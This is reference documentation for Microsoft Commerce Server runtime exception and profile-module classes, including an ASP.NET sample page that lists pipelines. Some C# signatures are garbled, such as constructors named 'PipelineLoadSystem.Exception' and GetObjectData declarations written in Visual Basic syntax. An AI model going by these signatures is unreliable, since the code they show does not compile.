Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Constructor (BCL)

Public Instance Constructor

Constructor | Description
PipelineLoadException Constructor | Creates a new instance of the PipelineLoadException class.
PipelineLoadException Constructor(String) | Creates a new instance of the PipelineLoadException class with the specified message.
PipelineLoadException Constructor(String, Exception) | Creates a new instance of the PipelineLoadException class with the specified message and inner exception.
PipelineLoadException Constructor(String, String, Exception) | Creates a new instance of the PipelineLoadException class with the specified pipeline name, .pcf file path, and inner exception.

Protected Instance Constructor

Constructor | Description
PipelineLoadException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the PipelineLoadException class with the specified serialization information and streaming context.


PipelineLoadException Constructor (BCL)

Use this method to create a new instance of the PipelineLoadException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public PipelineLoadException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the PipelineLoadException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected PipelineLoadException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization information.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization information.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Constructor (String) (BCL)

Use this method to create a new instance of the PipelineLoadException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public PipelineLoadException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the PipelineLoadException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public PipelineLoadSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The error message.
inner
The inner exception.
[C#]
message
The error message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Constructor (String, String, Exception) (BCL)

Use this method to create a new instance of the PipelineLoadException class with the specified pipeline name, .pcf file path, and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal pipelineName As System.String, _
  ByVal pcfPath As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public PipelineLoadSystem.Exception(
  System.String pipelineName,
  System.String pcfPath,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
pipelineName
The pipeline name.
pcfPath
The .pcf file path.
inner
The inner exception.
[C#]
pipelineName
The pipeline name.
pcfPath
The .pcf file path.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineLoadException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineLoadException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
PCFPath | Gets the .pcf file path.
PipelineName (Inherited from PipelineException) | Gets the friendly name of the pipeline that encountered the exception.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


PipelineLoadException.PCFPath Property (BCL)

The PCFPath property is a read-only String that gets the path to the .pcf file for the pipeline.

Definition

[Visual Basic .NET]
Public ReadOnly Property PCFPath As System.String
[C#]
public System.String PCFPath {get;}

Property Value

The path to the .pcf file for the pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Pipelines

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Pipelines Namespace

Examples

Example | Description
Code to Read a Pipeline Collection and Display Its Properties | Describes how to read a pipeline collection and display its contents.


Code to Read a Pipeline Collection and Display Its Properties

Use the following code to read a pipeline collection and display the Name, Logpath, PipelineConfigPath, LoggingEnabled, and optionally the TransactionalSetting properties.

<%@ Page Language="C#" Debug=true%>

<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>

<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Pipelines" %>

<script language="C#" runat="server">

void Page_Load(object source, EventArgs args)

{

if (!IsPostBack)

{

DisplayPipelines();

btnProperties.Text = "Display Properties";

}

}

///

/// This function gets the pipeline collection and binds it

/// to the drop-down list.

///

void DisplayPipelines()

{

try

{

PipelineCollection pipesCollection = null;

// Check that the CommerceContext object for this request

// is not null.

if (CommerceContext.Current == null)

{

throw new Exception("CommerceContext object is null.Please check settings in web.config");

}

// Get the pipeline collection.

pipesCollection = CommerceContext.Current.Pipelines;

// pipesCollection.Count contains the number of pipelines.

string[] pipeArray = new string[pipesCollection.Count];

int pipeIndex =0;

// Iterate through the pipeline collection and

// build the string array.

foreach (PipelineBase pipe in pipesCollection)

{

pipeArray[pipeIndex++] = pipe.Name;

}

// Bind the array to the drop-down list.

lbPipelines.DataSource = pipeArray;

lbPipelines.DataBind();

}

catch(Exception ex)

{

// Exception handling.

throw new Exception("An error occurred", ex);

}

}

///

/// This function displays the properties for the selected pipeline.

///

void DisplayPropertiesBtn_Click(object source, EventArgs args)

{

string pipeName;

PipelineBase pipe ;

try

{

PipelineCollection pipesCollection = null;

// Check that the CommerceContext object for this request

// is not null.

if (CommerceContext.Current == null)

{

throw new Exception("CommerceContext object is null.");

}

// Get the pipeline collection.

pipesCollection = CommerceContext.Current.Pipelines;

// Get the pipeline name whose properties are to be displayed.

pipeName = lbPipelines.SelectedItem.Text.Trim();

// Index the pipeline collection using the pipeline name to get the

// properties for this pipeline.

pipe = pipesCollection[pipeName];

// Display the Name, Logpath, PipelineConfigPath, and

// LoggingEnabled properties.

lblPipeName.Text = String.Format("Pipeline Name = {0}", pipe.Name);

lblLogPath.Text = String.Format("Log Path = {0}", pipe.LogPath);

lblConfigPath.Text = String.Format("Config Path = {0}", pipe.PipelineConfigPath);

lblLoggingEnabled.Text = String.Format("LoggingEnabled = {0}", pipe.LoggingEnabled);

// Check if this is an order pipeline.

OrderPipeline orderPipeline = pipe as OrderPipeline;

//If it is an order pipeline, display the

// TransactionalSetting property also.

if (orderPipeline != null)

{

lblTransactional.Visible = true;

lblTransactional.Text = String.Format("Transactonal = {0}", orderPipeline.TransactionalSetting);

}

else

{

lblTransactional.Visible = false;

}

}

catch(Exception ex)

{

throw new Exception("An error occurred", ex);

}

}

</script>

<html>

<head>

<title>Pipeline Collection</title>

</head>

<body>

<form runat="server">

<asp:DropDownList id="lbPipelines" runat="server" />

<asp:Button id="btnProperties" OnClick="DisplayPropertiesBtn_Click" runat="server" />

<asp:table width="500" Runat="server">

<asp:tablerow>

<asp:tablecell>

<asp:Label width="100%" id="lblPipeName" runat="server" />

</asp:tablecell>

</asp:tablerow>

<asp:tablerow>

<asp:tablecell>

<asp:Label width="100%" id="lblLogPath" runat="server" />

</asp:tablecell>

</asp:tablerow>

<asp:tablerow>

<asp:tablecell>

<asp:Label width="100%" id="lblConfigPath" runat="server" />

</asp:tablecell>

</asp:tablerow>

<asp:tablerow>

<asp:tablecell>

<asp:Label width="100%" id="lblLoggingEnabled" runat="server" />

</asp:tablecell>

</asp:tablerow>

<asp:tablerow>

<asp:tablecell>

<asp:Label width="100%" id="lblTransactional" runat="server" />

</asp:tablecell>

</asp:tablerow>

</asp:table>

</form>

</body>

</html>


Microsoft.CommerceServer.Runtime.Profiles

The classes in the Microsoft.CommerceServer.Runtime.Profiles namespace contain the profiling functionality for the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Profiles Namespace Object Model

Depicts the object model for the Microsoft.CommerceServer.Runtime.Profiles namespace.

Classes

Class | Description
CommerceProfileAlreadyExistsException | Exception thrown when a profile object already exists.
CommerceProfileModule | Creates the default ProfileContext class for the site.
CommerceProfileSystemException | Base class for exceptions thrown from the Profiling System sub system.
Profile | Creates an abstraction for the profile object Primary Interop Assembly (PIA) type.
ProfileCollection | Creates an abstraction for the profile properties collection.
ProfileContext | Creates an abstraction for the Commerce Server profile service component.
ProfileProperty | Creates an abstraction for the profile property.
ProfilePropertyAttribute | Creates an abstraction for the profile property attribute.
ProfilePropertyAttributeCollection | Represents a collection of ProfilePropertyAttributes.
ProfilePropertyCollection | Creates an abstraction for the profile properties collection.
ProfilePropertyGroup | Creates an abstraction for a profile property group.
ProfilePropertyGroupCollection | Creates an abstraction for the property groups collection.
SiteTerm | Encapsulates a site term.
SiteTermElement | Encapsulates a site term element.
SiteTermElementCollection | Creates an abstraction for the site term elements collection.

Interfaces

Interface | Description
IProfileElements | Encapsulates the common collections exposed by Profile and ProfilePropertyGroup classes.

Enumerations

Enumeration | Description
ProfileDataType | Enumerates all the profile data types exposed by the Profile namespace.
ProfileXmlFormat | Enumerates the XML formats supported by the Profiling System.
ProfileXmlRetrieve | Enumerates the XML retrieval options supported by the Profiling System.

Examples

Example | Description
Code to Create and Set Profile Properties | Describes how to create and set profile properties.
Code to Retrieve and Display Profile Properties | Describes how to retrieve and display profile properties.
Code to Use the SiteTerm Class | Describes how to retrieve, iterate, sort, compare, and validate site terms.

See Also

Commerce Server .NET Application Framework Tutorial


CommerceProfileAlreadyExistsException Class (BCL)

Specialized profile system exception for a profile object that already exists.

Public Instance Constructor

Constructor | Description
CommerceProfileAlreadyExistsException Constructor | Creates a new instance of the CommerceProfileAlreadyExistsException class.
CommerceProfileAlreadyExistsException Constructor(String) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified message.
CommerceProfileAlreadyExistsException Constructor(String, Exception) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceProfileAlreadyExistsException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Remarks

This class is derived from the CommerceProfileSystemException class.

This exception will be thrown by the various forms of the ProfileContext.CreateProfile method when an attempt is made to create a profile with an identical primary key value of an already existing profile instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceProfileAlreadyExistsException Constructor | Creates a new instance of the CommerceProfileAlreadyExistsException class.
CommerceProfileAlreadyExistsException Constructor(String) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified message.
CommerceProfileAlreadyExistsException Constructor(String, Exception) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceProfileAlreadyExistsException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceProfileAlreadyExistsException class with the specified serialization information and streaming context.


CommerceProfileAlreadyExistsException Constructor (BCL)

Use this method to create a new instance of the CommerceProfileAlreadyExistsException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceProfileAlreadyExistsException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceProfileAlreadyExistsException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceProfileAlreadyExistsException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceProfileAlreadyExistsException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceProfileAlreadyExistsException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
A string containing the message to include in the CommerceProfileAlreadyExistsException object.
[C#]
message
A System.String containing the message to include in the CommerceProfileAlreadyExistsException object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceProfileAlreadyExistsException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceProfileAlreadyExistsSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CommerceProfileAlreadyExistsException object.
inner
The inner System.Exception object.
[C#]
message
A System.String containing the message to include in the CommerceProfileAlreadyExistsException object.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceProfileAlreadyExistsException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileAlreadyExistsException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceProfileModule Class (BCL)

This CommerceModule is responsible for initializing the profile system and creating a default ProfileContext class instance for the site. It also can create an expose an instance of the Commerce Server OLEDB provider that can be used for bulk profile operations.

Public Instance Constructor

Constructor | Description
CommerceProfileModule Constructor | Creates a new instance of the CommerceProfileModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Sets the ProfileSystem property of the current CommerceContext instance equal to the default ProfileContext instance created during initialization of the module.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ProfileContext | Gets the default ProfileContext instance created by the module.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherits from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherits from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceProfileModule Constructor | Creates a new instance of the CommerceProfileModule class.


CommerceProfileModule Constructor (BCL)

Creates a new instance of the CommerceProfileModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceProfileModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Sets the ProfileSystem property of the current CommerceContext instance equal to the default ProfileContext instance created during initialization of the module.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherits from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherits from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceProfileModule.Init (HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The current HttpApplication instance.
[C#]
appInstance
The current HttpApplication instance.

Remarks

This module does not subscribe to any application events.

Throws a CommerceResourceDependencyException if the associated Commerce resource of a known cache type could not be found.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileModule.OnBeginRequest (Object, EventArgs) Method (BCL)

Use this method to handle HttpApplication BeginRequest events.

Definition

[Visual Basic .NET]
Public Sub OnBeginRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnBeginRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.
[C#]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ProfileContext | Gets the default ProfileContext instance created by the module.


CommerceProfileModule.ProfileContext Property (BCL)

The ProfileContext property gets the default ProfileContext instance created by the module.

Definition

[Visual Basic .NET]
Public ReadOnly Property ProfileContext As ProfileContext
[C#]
public ProfileContext ProfileContext {get;}

Property Value

The ProfileContext object.

Remarks

The value will be null if the CommerceProfileModule was not configured in the web.config file. ASP.NET pages should reference this through the CommerceContext.Current.ProfileSystem property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Class (BCL)

The base class for exceptions thrown from the Profile System.

Public Instance Constructor

Constructor | Description
CommerceProfileSystemException Constructor | Creates a new instance of the CommerceProfileSystemException class.
CommerceProfileSystemException Constructor(String) | Creates a new instance of the CommerceProfileSystemException class with the specified string message.
CommerceProfileSystemException Constructor(String, Exception) | Creates a new instance of the CommerceProfileSystemException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceProfileSystemException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceProfileSystemException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString | Creates and returns a string representation of the current exception.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceProfileSystemException Constructor | Creates a new instance of the CommerceProfileSystemException class.
CommerceProfileSystemException Constructor(String) | Creates a new instance of the CommerceProfileSystemException class with the specified string message.
CommerceProfileSystemException Constructor(String, Exception) | Creates a new instance of the CommerceProfileSystemException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceProfileSystemException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceProfileSystemException class with the specified serialization information and streaming context.


CommerceProfileSystemException Constructor (BCL)

Use this method to create a new instance of the CommerceProfileSystemException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceProfileSystemException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dllMicrosoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceProfileSystemException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceProfileSystemException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceProfileSystemException class with the specified string message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceProfileSystemException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CommerceProfileSystemException object.
[C#]
message
A System.String containing the message to include in the CommerceProfileSystemException object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceProfileSystemException class with the specified string message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceProfileSystemSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CommerceProfileSystemException object.
inner
The inner System.Exception object.
[C#]
message
A System.String containing the message to include in the CommerceProfileSystemException object.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString | Creates and returns a string representation of the current exception.


CommerceProfileSystemException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceProfileSystemException.ToString Method (BCL)

Creates and returns a string representation of the current exception.

Definition

[Visual Basic .NET]
Overrides Public Function ToString( _
) As System.String
[C#]
public override System.String ToString(
);

Return Value

A string representation of the current exception.

Requirements

